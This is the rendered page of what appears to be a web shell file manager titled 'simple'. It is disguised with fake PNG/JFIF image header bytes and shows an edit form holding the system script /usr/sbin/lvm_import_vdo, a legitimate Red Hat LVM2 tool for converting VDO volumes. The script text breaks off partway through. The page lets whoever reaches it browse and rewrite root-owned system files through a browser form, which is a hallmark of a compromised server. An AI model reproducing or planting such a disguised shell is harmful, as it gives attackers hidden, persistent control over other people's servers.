�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fusr%2F'>usr</a>/<a href='?path=%2Fusr%2Fsbin%2F'>sbin</a>/</p><hr><h3>✏️ Editing: lvm_import_vdo</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>#!/bin/bash
#
# Copyright (C) 2021-2023 Red Hat, Inc. All rights reserved.
#
# This file is part of LVM2.
#
# This copyrighted material is made available to anyone wishing to use,
# modify, copy, or redistribute it subject to the terms and conditions
# of the GNU General Public License v.2.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software Foundation,
# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
#
# Author: Zdenek Kabelac &lt;zkabelac at redhat.com&gt;
#
# Script for importing VDO volumes to lvm2 managed VDO LVs
#
# Needed utilities:
#  lvm, dmsetup,
#  vdo,
#  grep, awk, sed, blockdev, readlink, stat, mkdir, truncate
#
# Conversion is using  &#039;vdo convert&#039; support from VDO manager to move
# existing VDO header by 2M which makes space to place in PV header
# and VG metadata area, and then create VDOPOOL LV and VDO LV in such VG.
#

set -euE -o pipefail

TOOL=lvm_import_vdo
IMPORT_NAME=&quot;VDO_${TOOL}_${RANDOM}$$&quot;
test ${#IMPORT_NAME} -lt 100 || error &quot;Random name \&quot;$IMPORT_NAME\&quot; is too long!&quot;
TEMPDIR=&quot;${TMPDIR:-/tmp}/$IMPORT_NAME&quot;

_SAVEPATH=$PATH
PATH=&quot;/sbin:/usr/sbin:/bin:/usr/sbin:$PATH&quot;

# Set of trapped signals
declare -a SIGNALS=(&quot;HUP&quot; &quot;INT&quot; &quot;QUIT&quot; &quot;ABRT&quot; &quot;TERM&quot; &quot;EXIT&quot;)

# user may override lvm location by setting LVM_BINARY
LVM=${LVM_BINARY:-lvm}
VDO=${VDO_BINARY:-vdo}
BLOCKDEV=&quot;blockdev&quot;
LOSETUP=&quot;losetup&quot;
READLINK=&quot;readlink&quot;
READLINK_E=&quot;-e&quot;
STAT=&quot;stat&quot;
MKDIR=&quot;mkdir&quot;
TRUNCATE=&quot;truncate&quot;
DMSETUP=&quot;dmsetup&quot;

DM_DEV_DIR=&quot;${DM_DEV_DIR:-/dev}&quot;
DM_UUID_PREFIX=&quot;${DM_UUID_PREFIX:-}&quot;
DM_VG_NAME=
DM_LV_NAME=
DEFAULT_VDO_CONFIG=&quot;/etc/vdoconf.yml&quot; # Default location of vdo&#039;s manager config file
VDO_CONFIG=${VDO_CONFIG:-}   # can be overridden with --vdo-config
VDO_CONFIG_RESTORE=
VDOCONF=
test -n &quot;$VDO_CONFIG&quot; &amp;&amp; VDOCONF=&quot;-f $VDO_CONFIG&quot;

DEVICE=
VGNAME=
LVNAME=
DEVMAJOR=0
DEVMINOR=0
PROMPTING=
USE_VDO_DM_SNAPSHOT=&quot;--yes&quot;
VDO_DM_SNAPSHOT_NAME=
VDO_DM_SNAPSHOT_DEVICE=
VDO_SNAPSHOT_LOOP=
VDO_INCONSISTENT=

DRY=0
VERB=
FORCE=
YES=
ABORT_AFTER_VDO_CONVERT=0
VDO_ALLOCATION_PARAMS=

# default name for converted VG and its VDO LV
DEFAULT_NAME=&quot;vdovg/vdolvol&quot;
NAME=&quot;&quot;

# predefine empty
vdo_ackThreads=
vdo_bioRotationInterval=
vdo_bioThreads=
vdo_blockMapCacheSize=
vdo_blockMapPeriod=
vdo_compression=
vdo_cpuThreads=
vdo_deduplication=
vdo_hashZoneThreads=
vdo_indexMemory=
vdo_indexSparse=
vdo_logicalBlockSize=
vdo_logicalThreads=
vdo_maxDiscardSize=
vdo_physicalThreads=
vdo_slabSize=
vdo_writePolicy=

# help message
tool_usage() {
	echo &quot;${TOOL}: Utility to convert VDO volume to VDO LV.&quot;
	echo
	echo &quot;	${TOOL} [options] &lt;vdo_device_path&gt;&quot;
	echo
	echo &quot;	Options:&quot;
	echo &quot;	  -f | --force	      Bypass sanity checks&quot;
	echo &quot;	  -h | --help	      Show this help message&quot;
	echo &quot;	  -n | --name	      Specifies VG/LV name for converted VDO volume&quot;
	echo &quot;	  -v | --verbose      Be verbose&quot;
	echo &quot;	  -y | --yes	      Answer \&quot;yes\&quot; at any prompts&quot;
	echo &quot;	       --dry-run      Print verbosely commands without running them&quot;
	echo &quot;	       --no-snapshot  Do not use snapshot for converted VDO device&quot;
	echo &quot;	       --uuid-prefix  Prefix for DM snapshot uuid&quot;
	echo &quot;	       --vdo-config   Configuration file for VDO manager&quot;

	exit
}

verbose() {
	test -z &quot;$VERB&quot; || echo &quot;$TOOL:&quot; &quot;$@&quot;
}

# Support multi-line error messages
error() {
	for i in &quot;$@&quot; ;  do
		echo &quot;$TOOL: $i&quot; &gt;&amp;2
	done
	return 1
}

warn() {
	echo &quot;$TOOL: WARNING: $i&quot; &gt;&amp;2
}

dry() {
	if [ &quot;$DRY&quot; -ne 0 ]; then
		verbose &quot;Dry execution&quot; &quot;$@&quot;
		return 0
	fi
	verbose &quot;Executing&quot; &quot;$@&quot;
	&quot;$@&quot;
}

cleanup() {
	RC=$?	# Return code + 128  of the last command eg INT=2 + 128 -&gt; 130

	trap &#039;&#039; &quot;${SIGNALS[@]}&quot; # mute trap for all signals to not interrupt cleanup() on any next signal

	[ -z &quot;$PROMPTING&quot; ] || echo &quot;No&quot;

	[ -e &quot;$VDO_CONFIG_RESTORE&quot; ] &amp;&amp; { dry cp -a &quot;$VDO_CONFIG_RESTORE&quot; &quot;${VDO_CONFIG:-&quot;$DEFAULT_VDO_CONFIG&quot;}&quot; || true ; }

	if [ -n &quot;$VDO_DM_SNAPSHOT_NAME&quot; ]; then
		dry &quot;$LVM&quot; vgchange -an --devices &quot;$VDO_DM_SNAPSHOT_DEVICE&quot; &quot;$VGNAME&quot; &amp;&gt;/dev/null || true
		for i in {1..20} ; do
			[ &quot;$(dry &quot;$DMSETUP&quot; info --noheading -co open &quot;$VDO_DM_SNAPSHOT_NAME&quot;)&quot; = &quot;0&quot; ] &amp;&amp; break
			sleep .1
		done
		dry &quot;$DMSETUP&quot; remove &quot;$VDO_DM_SNAPSHOT_NAME&quot; &amp;&gt;/dev/null || true
	fi


	[ -n &quot;$VDO_SNAPSHOT_LOOP&quot; ] &amp;&amp; { dry &quot;$LOSETUP&quot; -d &quot;$VDO_SNAPSHOT_LOOP&quot; || true ; }

	[ -z &quot;$VDO_INCONSISTENT&quot; ] || echo &quot;$TOOL: VDO volume import process exited unexpectedly!&quot; &gt;&amp;2

	rm -rf &quot;$TEMPDIR&quot; || true

	exit &quot;$RC&quot;
}

# Create snapshot target like for persistent snapshot with 16KiB chunksize
snapshot_target_line_() {
	echo &quot;0 $(&quot;$BLOCKDEV&quot; --getsize &quot;$1&quot;) snapshot${3:-} $1 $2 P 32&quot;
}

snapshot_create_() {
	VDO_DM_SNAPSHOT_NAME=&quot;${IMPORT_NAME}_snap&quot;
	local file=&quot;$TEMPDIR/$VDO_DM_SNAPSHOT_NAME&quot;

	# TODO: maybe use ramdisk via &#039;brd&#039; device ?)
	&quot;$TRUNCATE&quot; -s 20M &quot;$file&quot;
	VDO_SNAPSHOT_LOOP=$(&quot;$LOSETUP&quot; -f --show &quot;$file&quot;)
	&quot;$DMSETUP&quot; create &quot;$VDO_DM_SNAPSHOT_NAME&quot; -u &quot;${DM_UUID_PREFIX}${VDO_DM_SNAPSHOT_NAME}-priv&quot; --table &quot;$(snapshot_target_line_ &quot;$1&quot; &quot;$VDO_SNAPSHOT_LOOP&quot;)&quot;
	VDO_DM_SNAPSHOT_DEVICE=&quot;$DM_DEV_DIR/mapper/$VDO_DM_SNAPSHOT_NAME&quot;
	verbose &quot;Snapshot of VDO device $1 created: $VDO_DM_SNAPSHOT_DEVICE.&quot;
}

snapshot_merge_() {
	local status
	local initial_status

	initial_status=( $(&quot;$DMSETUP&quot; status &quot;$VDO_DM_SNAPSHOT_NAME&quot;) )
	&quot;$DMSETUP&quot; reload &quot;$VDO_DM_SNAPSHOT_NAME&quot; --table &quot;$(snapshot_target_line_ &quot;$1&quot; &quot;$VDO_SNAPSHOT_LOOP&quot; -merge)&quot;
	&quot;$DMSETUP&quot; suspend &quot;$VDO_DM_SNAPSHOT_NAME&quot; || {
		error &quot;ABORTING: Failed to initialize snapshot merge! Origin volume is unchanged.&quot;
	}

	verbose &quot;Merging converted VDO volume \&quot;$VDO_DM_SNAPSHOT_NAME\&quot;.&quot;
	VDO_INCONSISTENT=1

	# Running merging
	&quot;$DMSETUP&quot; resume &quot;$VDO_DM_SNAPSHOT_NAME&quot;

	#du -h &quot;$TEMPDIR/$VDO_DM_SNAPSHOT_NAME&quot;

	# Loop for a while, till the snapshot is merged.
	# Should be nearly instantaneous.
	# FIXME: Recovery when something prevents merging is hard
	for i in $(seq 1 20) ; do
		status=( $(&quot;$DMSETUP&quot; status &quot;$VDO_DM_SNAPSHOT_NAME&quot;) )
		# Check if merging is finished
		[ &quot;${status[3]%/*}&quot; = &quot;${status[4]}&quot; ] &amp;&amp; break
		# Wait a bit and retry
		sleep .2
	done

	if [ &quot;${status[3]%/*}&quot; != &quot;${status[4]}&quot; ]; then
		# FIXME: Now what shall we do ??? Help....
		# Keep snapshot in DM table for possible analysis...
		VDO_DM_SNAPSHOT_NAME=
		VDO_SNAPSHOT_LOOP=
		echo &quot;$TOOL: Initial snapshot status ${initial_status[*]}&quot;
		echo &quot;$TOOL: Failing merge snapshot status ${status[*]}&quot;
		error &quot;ABORTING: Snapshot failed to merge! (Administrator required...)&quot;
	fi

	VDO_INCONSISTENT=
	VDO_CONFIG_RESTORE=

	verbose &quot;Converted VDO volume is merged to \&quot;$1\&quot;.&quot;

	&quot;$DMSETUP&quot; remove &quot;$VDO_DM_SNAPSHOT_NAME&quot; || {
		sleep 1 # sleep and retry once more
		&quot;$DMSETUP&quot; remove &quot;$VDO_DM_SNAPSHOT_NAME&quot; || {
			error &quot;ABORTING: Cannot remove snapshot $VDO_DM_SNAPSHOT_NAME! (check volume autoactivation...)&quot;
		}
	}

	VDO_DM_SNAPSHOT_NAME=
	&quot;$LOSETUP&quot; -d &quot;$VDO_SNAPSHOT_LOOP&quot;
	VDO_SNAPSHOT_LOOP=
}

get_enabled_value_() {
	case &quot;$1&quot; in
	enabled) echo &quot;1&quot; ;;
	*) echo &quot;0&quot; ;;
	esac
}

get_kb_size_with_unit_() {
	case &quot;$1&quot; in
	*[kK]) echo $(( ${1%[kK]} )) ;;
	*[mM]) echo $(( ${1%[mM]} * 1024 )) ;;
	*[gG]) echo $(( ${1%[gG]} * 1024 * 1024 )) ;;
	*[tT]) echo $(( ${1%[tT]} * 1024 * 1024 * 1024 )) ;;
	*[pP]) echo $(( ${1%[pP]} * 1024 * 1024 * 1024 * 1024 )) ;;
	esac
}

# Figure out largest possible extent size usable for VG
# $1   physical size
# $2   logical size
get_largest_extent_size_() {
	local max=4
	local i
	local d

	for i in 8 16 32 64 128 256 512 1024 2048 4096 ; do
		d=$(( $1 / i ))
		[ $(( d * i )) -eq &quot;$1&quot; ] || break
		d=$(( $2 / i ))
		[ $(( d * i )) -eq &quot;$2&quot; ] || break
		max=$i
	done
	echo &quot;$max&quot;
}

# detect LV on the given device
# deference device name if it is symbolic link
detect_lv_() {
	local DEVICE=$1
	local SYSVOLUME
	local MAJORMINOR

	DEVICE=${1/#&quot;${DM_DEV_DIR}/&quot;/}
	DEVICE=$(&quot;$READLINK&quot; $READLINK_E &quot;$DM_DEV_DIR/$DEVICE&quot; || true)
	[ -n &quot;$DEVICE&quot; ] || error &quot;Readlink cannot access device \&quot;$1\&quot;.&quot;
	RDEVICE=$DEVICE
	case &quot;$RDEVICE&quot; in
	  # hardcoded /dev  since udev does not create these entries elsewhere
	  /dev/dm-[0-9]*)
		read -r &lt;&quot;/sys/block/${RDEVICE#/dev/}/dm/name&quot; SYSVOLUME 2&gt;&amp;1 &amp;&amp; DEVICE=&quot;$DM_DEV_DIR/mapper/$SYSVOLUME&quot;
		read -r &lt;&quot;/sys/block/${RDEVICE#/dev/}/dev&quot; MAJORMINOR 2&gt;&amp;1 || error &quot;Cannot get major:minor for \&quot;$DEVICE\&quot;.&quot;
		DEVMAJOR=${MAJORMINOR%%:*}
		DEVMINOR=${MAJORMINOR##*:}
		;;
	  *)
		RSTAT=$(&quot;$STAT&quot; --format &quot;DEVMAJOR=\$((0x%t)) DEVMINOR=\$((0x%T))&quot; &quot;$RDEVICE&quot; || true)
		[ -n &quot;$RSTAT&quot; ] || error &quot;Cannot get major:minor for \&quot;$DEVICE\&quot;.&quot;
		eval &quot;$RSTAT&quot;
		;;
	esac

	[ &quot;$DEVMAJOR&quot; != &quot;$(grep device-mapper /proc/devices | cut -f1 -d&#039; &#039;)&quot; ] &amp;&amp; return

	DEV=&quot;$(&quot;$DMSETUP&quot; info -c -j &quot;$DEVMAJOR&quot; -m &quot;$DEVMINOR&quot; -o uuid,name --noheadings --nameprefixes --separator &#039; &#039;)&quot;
	case &quot;$DEV&quot; in
	Device*)  ;; # no devices
	*)	eval &quot;$DEV&quot; ;;
	esac
}

# parse yaml config files into &#039;prefix_yaml_part_names=(&quot;value&quot;)&#039; strings
parse_yaml_() {
	local yaml_file=$1
	local prefix=$2
	local s
	local w
	local fs

	s=&#039;[[:space:]]*&#039;
	w=&#039;[a-zA-Z0-9_.-]*&#039;
	fs=&quot;$(echo @|tr @ &#039;\034&#039;)&quot;

	(
	    sed -ne &#039;/^--/s|--||g; s|\&quot;|\\\&quot;|g; s/[[:space:]]*$//g;&#039; \
		-e &#039;s/\$/\\\$/g&#039; \
		-e &quot;/#.*[\&quot;\&#039;]/!s| #.*||g; /^#/s|#.*||g;&quot; \
		-e &quot;s|^\($s\)\($w\)$s:$s\&quot;\(.*\)\&quot;$s\$|\1$fs\2$fs\3|p&quot; \
		-e &quot;s|^\($s\)\($w\)${s}[:-]$s\(.*\)$s\$|\1$fs\2$fs\3|p&quot; |

	    awk -F&quot;$fs&quot; &#039;{
		indent = length($1)/2;
		if (length($2) == 0) { conj[indent]=&quot;+&quot;;} else {conj[indent]=&quot;&quot;;}
		vname[indent] = $2;
		for (i in vname) {if (i &gt; indent) {delete vname[i]}}
		    if (length($3) &gt; 0) {
			vn=&quot;&quot;; for (i=0; i&lt;indent; i++) {vn=(vn)(vname[i])(&quot;_&quot;)}
			printf(&quot;%s%s%s%s=(\&quot;%s\&quot;)\n&quot;, &quot;&#039;&quot;$prefix&quot;&#039;&quot;,vn, $2, conj[indent-1], $3);
		    }
		}&#039; |

	    sed -e &#039;s/_=/+=/g&#039; |

	    awk &#039;BEGIN {
		    FS=&quot;=&quot;;
		    OFS=&quot;=&quot;
		}
		/(-|\.).*=/ {
		    gsub(&quot;-|\\.&quot;, &quot;_&quot;, $1)
		}
		{ print }&#039;
	) &lt; &quot;$yaml_file&quot;
}

#
# Convert VDO volume on LV to VDOPool within this VG
#
# This conversion requires the size of VDO virtual volume has to be expressed in the VG&#039;s extent size.
# Currently this enforces a user to reduce the VG extent size to the smaller size (up to 4KiB).
#
# TODO: We may eventually relax this condition just like we are doing rounding for convert_non_lv_()
#       Let&#039;s if there would be any singly user requiring this feature.
#       It may allow to better use larger VDO volume size (in TiB ranges).
#
convert_lv_() {
	local vdo_logicalSize=$1
	local extent_size
	local pvfree

	pvfree=$(&quot;$LVM&quot; lvs -o size --units b --nosuffix --noheadings &quot;$DM_VG_NAME/$DM_LV_NAME&quot;)
	pvfree=$(( pvfree / 1024 ))		# to KiB
	# select largest possible extent size that can exactly express both sizes
	extent_size=$(get_largest_extent_size_ &quot;$pvfree&quot; &quot;$vdo_logicalSize&quot;)

	# validate existing  VG extent_size can express virtual VDO size
	vg_extent_size=$(&quot;$LVM&quot; vgs -o vg_extent_size --units b --nosuffix --noheadings &quot;$VGNAME&quot;)
	vg_extent_size=$(( vg_extent_size / 1024 ))

	[ &quot;$vg_extent_size&quot; -le &quot;$extent_size&quot; ] || {
		error &quot;Please vgchange extent_size to at most $extent_size KiB or extend and align virtual size of VDO device on $vg_extent_size KiB before retrying conversion.&quot;
	}

	verbose &quot;Renaming existing LV to be used as _vdata volume for VDO pool LV.&quot;
	dry &quot;$LVM&quot; lvrename $YES $VERB &quot;$VGNAME/$DM_LV_NAME&quot; &quot;$VGNAME/${LVNAME}_vpool&quot; || {
		error &quot;Rename of LV \&quot;$VGNAME/$DM_LV_NAME\&quot; failed, while VDO header has been already moved!&quot;
	}

	verbose &quot;Converting to VDO pool.&quot;
	dry &quot;$LVM&quot; lvconvert $YES $VERB $FORCE --config &quot;$VDO_ALLOCATION_PARAMS&quot; -Zn -V &quot;${vdo_logicalSize}k&quot; -n &quot;$LVNAME&quot; --type vdo-pool &quot;$VGNAME/${LVNAME}_vpool&quot;

	verbose &quot;Removing now unused VDO entry from VDO configuration.&quot;
	dry &quot;$VDO&quot; remove $VDOCONF $VERB --force --name &quot;$VDONAME&quot;
}

#
# Convert VDO volume on a device to VG with VDOPool LV
#
# Convert device with the use of snapshot on top of original VDO volume (can be optionally disabled)
# Once the whole conversion is finished, snapshot is merged (During the short period time of merging
# user must ensure there will be no power-off!)
#
# For best use the latest version of  vdoprepareforlvm tool is required.
convert_non_lv_() {
	local vdo_logicalSize=$1
	local vdo_logicalSizeRounded
	local extent_size
	local output
	local pvfree

	if [ -n &quot;$USE_VDO_DM_SNAPSHOT&quot; ]; then
		dry snapshot_create_ &quot;$DEVICE&quot;
		sed &quot;s|$DEVICE|$VDO_DM_SNAPSHOT_DEVICE|&quot; &quot;$TEMPDIR/vdoconf.yml&quot; &gt; &quot;$TEMPDIR/vdo_snap.yml&quot;
		# In case of error in the middle of conversion restore original config file
		VDO_CONFIG_RESTORE=&quot;$TEMPDIR/vdoconf.yml&quot;
		# Let VDO manager operate on snapshot volume
		dry cp -a &quot;$TEMPDIR/vdo_snap.yml&quot; &quot;${VDO_CONFIG:-&quot;$DEFAULT_VDO_CONFIG&quot;}&quot;
	else
		# If error in the following section, report possible problems ahead
		VDO_INCONSISTENT=1
	fi

	# In case we operate with snapshot, all lvm2 operation will also run on top of snapshot
	local device=${VDO_DM_SNAPSHOT_DEVICE:-$DEVICE}

	# Check if there is not already an existing PV header, this would have fail on pvcreate after conversion
	&quot;$LVM&quot; pvs --devices &quot;$device&quot; &quot;$device&quot; 2&gt;/dev/null &amp;&amp; {
		error &quot;Cannot convert volume \&quot;$DEVICE\&quot; with existing PV header.&quot;
	}

	verbose &quot;Moving VDO header on \&quot;$device\&quot;.&quot;

	output=$(dry &quot;$VDO&quot; convert $VDOCONF $VERB --force --name &quot;$VDONAME&quot; 2&gt;&amp;1) || {
		local rc=$?
		echo &quot;$output&quot;
		error &quot;Failed to convert VDO volume \&quot;$DEVICE\&quot; (exit code $rc).&quot;
	}

	echo &quot;$output&quot;

	if [ &quot;$ABORT_AFTER_VDO_CONVERT&quot; != &quot;0&quot; ]; then
		warn &quot;Aborting VDO conversion after moving VDO header, volume is useless!&quot;
		return 0
	fi

	# Parse result from VDO preparation/conversion tool
	# New version of the tool provides output with alignment and offset
	local vdo_length=0
	local vdo_aligned=0
	local vdo_offset=0
	local vdo_non_converted=0
	while IFS=  read -r line ; do
		# trim leading spaces
		case &quot;$(echo $line)&quot; in
		&quot;Non converted&quot;*) vdo_non_converted=1 ;;
		&quot;Length&quot;*) vdo_length=${line##* = } ;;
		&quot;Conversion completed&quot;*)
			   vdo_aligned=${line##*aligned on }
			   vdo_aligned=${vdo_aligned%%[!0-9]*}
			   vdo_offset=${line##*offset }
			   # backward compatibility with report from older version
			   vdo_offset=${vdo_offset##*by }
			   vdo_offset=${vdo_offset%%[!0-9]*}
			   ;;
		esac
	done &lt;&lt;&lt; &quot;$output&quot;

	dry &quot;$LVM&quot; pvcreate $YES $VERB $FORCE --devices &quot;$device&quot; --dataalignment &quot;$vdo_offset&quot;b &quot;$device&quot;

	# Obtain free space in this new PV
	# after &#039;vdo convert&#039; call there is ~(1-2)M free space at the front of the device
	pvfree=$(&quot;$BLOCKDEV&quot; --getsize64 &quot;$DEVICE&quot;)
	pvfree=$(( ( pvfree - vdo_offset ) / 1024 ))	# to KiB
	if [ -n &quot;$vdo_aligned&quot; ] &amp;&amp; [ &quot;$vdo_aligned&quot; != &quot;0&quot; ]; then
		extent_size=$(( vdo_aligned / 1024 ))
	else
		extent_size=$(get_largest_extent_size_ &quot;$pvfree&quot; &quot;$vdo_logicalSize&quot;)
	fi

	# Round virtual size to the LOWER size expressed in extent units.
	# lvm is parsing VDO metadata and can read real full size and use it instead of this smaller value.
	# To precisely byte-synchronize the size of VDO LV, user can lvresize such VDO LV later.
	vdo_logicalSizeRounded=$(( ( vdo_logicalSize / extent_size ) * extent_size ))

	verbose &quot;Creating volume group \&quot;$VGNAME\&quot; with the extent size $extent_size KiB.&quot;
	dry &quot;$LVM&quot; vgcreate $YES $VERB --devices &quot;$device&quot; -s &quot;${extent_size}k&quot; &quot;$VGNAME&quot; &quot;$device&quot;

	verbose &quot;Creating VDO pool data LV from all extents in the volume group \&quot;$VGNAME\&quot;.&quot;
	dry &quot;$LVM&quot; lvcreate -Zn -Wn -an $YES $VERB --devices &quot;$device&quot; -l100%VG -n &quot;${LVNAME}_vpool&quot; &quot;$VGNAME&quot; &quot;$device&quot;

	verbose &quot;Converting to VDO pool.&quot;
	dry &quot;$LVM&quot; lvconvert ${USE_VDO_DM_SNAPSHOT:-&quot;$YES&quot;} $VERB $FORCE --devices &quot;$device&quot; --config &quot;$VDO_ALLOCATION_PARAMS&quot; -Zn -V &quot;${vdo_logicalSizeRounded}k&quot; -n &quot;$LVNAME&quot; --type vdo-pool &quot;$VGNAME/${LVNAME}_vpool&quot;

	if [ &quot;$vdo_logicalSizeRounded&quot; -lt &quot;$vdo_logicalSize&quot; ]; then
		# need to extend virtual size to be covering all the converted area
		# let lvm2 to round to the proper virtual size of VDO LV
		dry &quot;$LVM&quot; lvextend $YES $VERB --devices &quot;$device&quot; -L &quot;$vdo_logicalSize&quot;k &quot;$VGNAME/$LVNAME&quot;
	fi

	VDO_INCONSISTENT=

	[ -z &quot;$USE_VDO_DM_SNAPSHOT&quot; ] &amp;&amp; return # no-snapshot case finished

	dry &quot;$LVM&quot; vgchange -an $VERB $FORCE --devices &quot;$device&quot; &quot;$VGNAME&quot;

	# Prevent unwanted auto activation when VG is merged
	dry &quot;$LVM&quot; vgchange --setautoactivation n $VERB $FORCE --devices &quot;$device&quot; &quot;$VGNAME&quot;

	if [ -z &quot;$YES&quot; ]; then
		PROMPTING=yes
		warn &quot;Do not interrupt merging process once it starts (VDO data may become irrecoverable)!&quot;
		echo -n &quot;$TOOL: Do you want to merge converted VDO device \&quot;$DEVICE\&quot; to VDO LV \&quot;$VGNAME/$LVNAME\&quot;? [y|N]: &quot;
		read -r -n 1 -s ANSWER
		case &quot;${ANSWER:0:1}&quot; in
		  y|Y )  echo &quot;Yes&quot; ;;
		    * )  echo &quot;No&quot; ; PROMPTING=&quot;&quot;; return 1 ;;
		esac
		PROMPTING=&quot;&quot;
		YES=&quot;-y&quot; # From now, now prompting
	fi

	dry snapshot_merge_ &quot;$DEVICE&quot;

	# For systems using devicesfile add &#039;merged&#039; PV into system.devices.
	# Bypassing use of --valuesonly to keep compatibility with older lvm.
	local usedev
	usedev=$(&quot;$LVM&quot; lvmconfig --typeconfig full devices/use_devicesfile || true)
	[ &quot;${usedev#*=}&quot; = &quot;1&quot; ] &amp;&amp; dry &quot;$LVM&quot; lvmdevices --adddev &quot;$DEVICE&quot;

	# Restore auto activation for a VG
	dry &quot;$LVM&quot; vgchange --setautoactivation y $VERB $FORCE &quot;$VGNAME&quot;

	dry &quot;$LVM&quot; lvchange -ay $VERB $FORCE &quot;$VGNAME/$LVNAME&quot;
}

# Convert existing VDO volume into lvm2 volume
convert2lvm_() {
	local VDONAME
	local TRVDONAME
	local FOUND=&quot;&quot;
	local MAJOR=0
	local MINOR=0

	VGNAME=${NAME%/*}
	LVNAME=${NAME#*/}
	DM_UUID=&quot;&quot;
	detect_lv_ &quot;$DEVICE&quot;
	case &quot;$DM_UUID&quot; in
		LVM-*)	eval &quot;$(&quot;$DMSETUP&quot; splitname --nameprefixes --noheadings --separator &#039; &#039; &quot;$DM_NAME&quot;)&quot;
			if [ -z &quot;$VGNAME&quot; ] || [ &quot;$VGNAME&quot; = &quot;$LVNAME&quot; ]; then
				VGNAME=$DM_VG_NAME
				verbose &quot;Using existing volume group name \&quot;$VGNAME\&quot;.&quot;
				[ -n &quot;$LVNAME&quot; ] || LVNAME=$DM_LV_NAME
			elif [ &quot;$VGNAME&quot; != &quot;$DM_VG_NAME&quot; ]; then
				error &quot;Volume group name \&quot;$VGNAME\&quot; does not match name \&quot;$DM_VG_NAME\&quot; for VDO device \&quot;$DEVICE\&quot;.&quot;
			fi
			;;
		*)
			# Check if we need to generate unused $VGNANE
			if [ -z &quot;$VGNAME&quot; ] || [ &quot;$VGNAME&quot; = &quot;$LVNAME&quot; ]; then
				VGNAME=${DEFAULT_NAME%/*}
				# Find largest matching VG name to our &#039;default&#039; vgname
				LASTVGNAME=$(LC_ALL=C &quot;$LVM&quot; vgs -oname -O-name --noheadings -S name=~&quot;${VGNAME}&quot; | grep -m 1 -E &quot;${VGNAME}[0-9]? ?&quot; || true)
				if [ -n &quot;$LASTVGNAME&quot; ]; then
					LASTVGNAME=${LASTVGNAME#*&quot;${VGNAME}&quot;}
					# If the number is becoming too high, try some random number
					[ -n &quot;$LASTVGNAME&quot; ] &amp;&amp; [ &quot;$LASTVGNAME&quot; -gt 99999999 ] &amp;&amp; LASTVGNAME=$RANDOM
					# Generate new unused VG name
					VGNAME=&quot;${VGNAME}$(( LASTVGNAME + 1 ))&quot;
					verbose &quot;Selected unused volume group name \&quot;$VGNAME\&quot;.&quot;
				fi
			fi
			# New VG is created, LV name should be always unused.
			[ -n &quot;$LVNAME&quot; ] || LVNAME=${DEFAULT_NAME#*/}
			&quot;$LVM&quot; vgs &quot;$VGNAME&quot; &gt;/dev/null 2&gt;&amp;1 &amp;&amp; error &quot;Cannot use already existing volume group name \&quot;$VGNAME\&quot;.&quot;
			;;
	esac

	verbose &quot;Checked whether device \&quot;$DEVICE\&quot; is already logical volume.&quot;

	&quot;$MKDIR&quot; -p -m 0000 &quot;$TEMPDIR&quot; || error &quot;Failed to create \&quot;$TEMPDIR\&quot;.&quot;

	# TODO: might use directly  /etc/vdoconf.yml (avoiding need of &#039;vdo&#039; manager)
	verbose &quot;Getting YAML VDO configuration.&quot;
	&quot;$VDO&quot; printConfigFile $VDOCONF &gt;&quot;$TEMPDIR/vdoconf.yml&quot;
	[ -s &quot;$TEMPDIR/vdoconf.yml&quot; ] || error &quot;Cannot work without VDO configuration.&quot;

	# Check list of devices in VDO configure file for their major:minor
	# and match with given $DEVICE devmajor:devminor
	for i in $(awk &#039;/.*device:/ {print $2}&#039; &quot;$TEMPDIR/vdoconf.yml&quot;) ; do
		local DEV
		DEV=$(&quot;$READLINK&quot; $READLINK_E &quot;$i&quot;) || continue
		RSTAT=$(&quot;$STAT&quot; --format &quot;MAJOR=\$((0x%t)) MINOR=\$((0x%T))&quot; &quot;$DEV&quot; 2&gt;/dev/null) || continue
		eval &quot;$RSTAT&quot;
		if [ &quot;$MAJOR&quot; = &quot;$DEVMAJOR&quot; ] &amp;&amp; [ &quot;$MINOR&quot; = &quot;$DEVMINOR&quot; ]; then
			[ -z &quot;$FOUND&quot; ] || error &quot;VDO configuration contains duplicate entries $FOUND and $i.&quot;
			FOUND=$i
		fi
	done

	[ -n &quot;$FOUND&quot; ] || error &quot;Can&#039;t find matching device in VDO configuration file.&quot;
	verbose &quot;Found matching device $FOUND  $MAJOR:$MINOR.&quot;

	VDONAME=$(awk -v DNAME=&quot;$FOUND&quot; &#039;/.*VDOService$/ {VNAME=substr($1, 0, length($1) - 1)} /[[:space:]]*device:/ { if ($2 ~ DNAME) {print VNAME}}&#039; &quot;$TEMPDIR/vdoconf.yml&quot;)
	TRVDONAME=$(echo &quot;$VDONAME&quot; | tr &#039;-&#039; &#039;_&#039;)

	# When VDO volume is &#039;active&#039;, check it&#039;s not mounted/being used
	DM_OPEN=&quot;$(&quot;$DMSETUP&quot; info -c -o open  &quot;$VDONAME&quot; --noheadings --nameprefixes 2&gt;/dev/null || true)&quot;
	case &quot;$DM_OPEN&quot; in
	Device*) ;; # no devices
	*)	eval &quot;$DM_OPEN&quot;
		[ &quot;${DM_OPEN:-0}&quot; -eq 0 ] || error &quot;Cannot convert in use VDO volume \&quot;$VDONAME\&quot;!&quot;
		;;
	esac

	#parse_yaml_ &quot;$TEMPDIR/vdoconf.yml&quot; _
	eval &quot;$(parse_yaml_ &quot;$TEMPDIR/vdoconf.yml&quot; _ | grep &quot;$TRVDONAME&quot; | sed -e &quot;s/_config_vdos_$TRVDONAME/vdo/g&quot;)&quot;

	vdo_logicalSize=$(get_kb_size_with_unit_ &quot;$vdo_logicalSize&quot;)
	vdo_physicalSize=$(get_kb_size_with_unit_ &quot;$vdo_physicalSize&quot;)

	verbose &quot;Converted VDO device has logical/physical size $vdo_logicalSize/$vdo_physicalSize KiB.&quot;

	VDO_ALLOCATION_PARAMS=$(cat &lt;&lt;EOF
allocation {
	vdo_use_compression = $(get_enabled_value_ &quot;$vdo_compression&quot;)
	vdo_use_deduplication = $(get_enabled_value_ &quot;$vdo_deduplication&quot;)
	vdo_use_metadata_hints=1
